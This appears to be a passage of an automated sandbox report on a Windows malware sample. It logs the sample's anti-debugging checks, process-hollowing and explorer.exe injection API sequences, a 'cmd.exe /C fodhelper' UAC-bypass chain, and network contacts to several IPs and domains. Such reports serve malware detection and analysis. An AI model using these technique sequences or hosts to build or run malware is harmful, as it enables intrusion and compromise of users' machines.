Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_02530D90 mov eax, dword ptr fs:[00000030h]	3_2_02530D90
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0256E5AC push dword ptr fs:[00000030h]	3_2_0256E5AC
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_028040A3 push dword ptr fs:[00000030h]	6_2_028040A3
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_029C0042 push dword ptr fs:[00000030h]	6_2_029C0042
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040F440 mov edx, dword ptr fs:[00000030h]	8_2_0040F440
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0078F2B5 mov eax, dword ptr fs:[00000030h]	8_2_0078F2B5
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077F420 mov eax, dword ptr fs:[00000030h]	8_2_0077F420
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007855DB mov eax, dword ptr fs:[00000030h]	8_2_007855DB

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Code function: 8_2_0078C39E GetProcessHeap,

8_2_0078C39E

Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 7_2_006943E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_006943E0
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 7_2_00694A78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00694A78
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00404DDA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00404DDA
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00407634 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00407634
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040AB18 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	8_2_0040AB18
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00407B87 SetUnhandledExceptionFilter,	8_2_00407B87
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00780290 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00780290
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0078D459 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0078D459
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077FD95 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0077FD95
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077FD89 SetUnhandledExceptionFilter,	8_2_0077FD89
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA719B14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF7FA719B14
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA70B8B0 SetUnhandledExceptionFilter,	12_2_00007FF7FA70B8B0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA70B6CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF7FA70B6CC
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA70AE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF7FA70AE30

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: uiedafw.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 172.67.215.49 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.198.2.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 179.25.0.220 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.88.149 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.134.52.10 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: ftp.mobiamericas.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.168.30 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: relay.justhelpthyself.com
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 91.215.85.17 80
Source: C:\Windows\explorer.exe	Network Connect: 201.119.5.179 80	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\5316.exe

Code function: 6_2_029C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

6_2_029C0110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Thread created: C:\Windows\explorer.exe EIP: 8801AD0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Thread created: unknown EIP: 87A1AD0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Thread created: unknown EIP: 32C1A40

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\5316.exe	Memory written: C:\Users\user\AppData\Local\Temp\5316.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 1748 base: F979C0 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6936 base: 7FF72B812D10 value: 90			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Writes to foreign memory regions

Source: C:\Windows\explorer.exe

Memory written: C:\Windows\SysWOW64\explorer.exe base: F979C0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process created: C:\Users\user\AppData\Local\Temp\5316.exe C:\Users\user\AppData\Local\Temp\5316.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Process created: C:\Users\user\AppData\Local\Temp\7017.exe C:\Users\user\AppData\Local\Temp\7017.exe
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\A0FE.exe "C:\Users\user\AppData\Local\Temp\A0FE.exe"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 19
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 664
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: explorer.exe, 00000001.00000000.1696278360.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1695223093.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1698135497.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1695223093.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1694958391.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1695223093.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1695223093.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Code function: 8_2_0077FFA8 cpuid

8_2_0077FFA8

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: __crtGetLocaleInfoA_stat,	0_2_00421E2A
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: __crtGetLocaleInfoA_stat,	3_2_00421E2A
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: GetLocaleInfoA,	8_2_0040E6BA

Source: C:\Users\user\AppData\Local\Temp\5316.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl8 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl8\8.4 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl8\8.5 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\encoding VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\http1.0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\opt0.4 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\Africa VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Argentina VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Indiana VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Kentucky VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\North_Dakota VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\Antarctica VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_tkinter.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\encoding VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_hashlib.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI65762 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7017.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
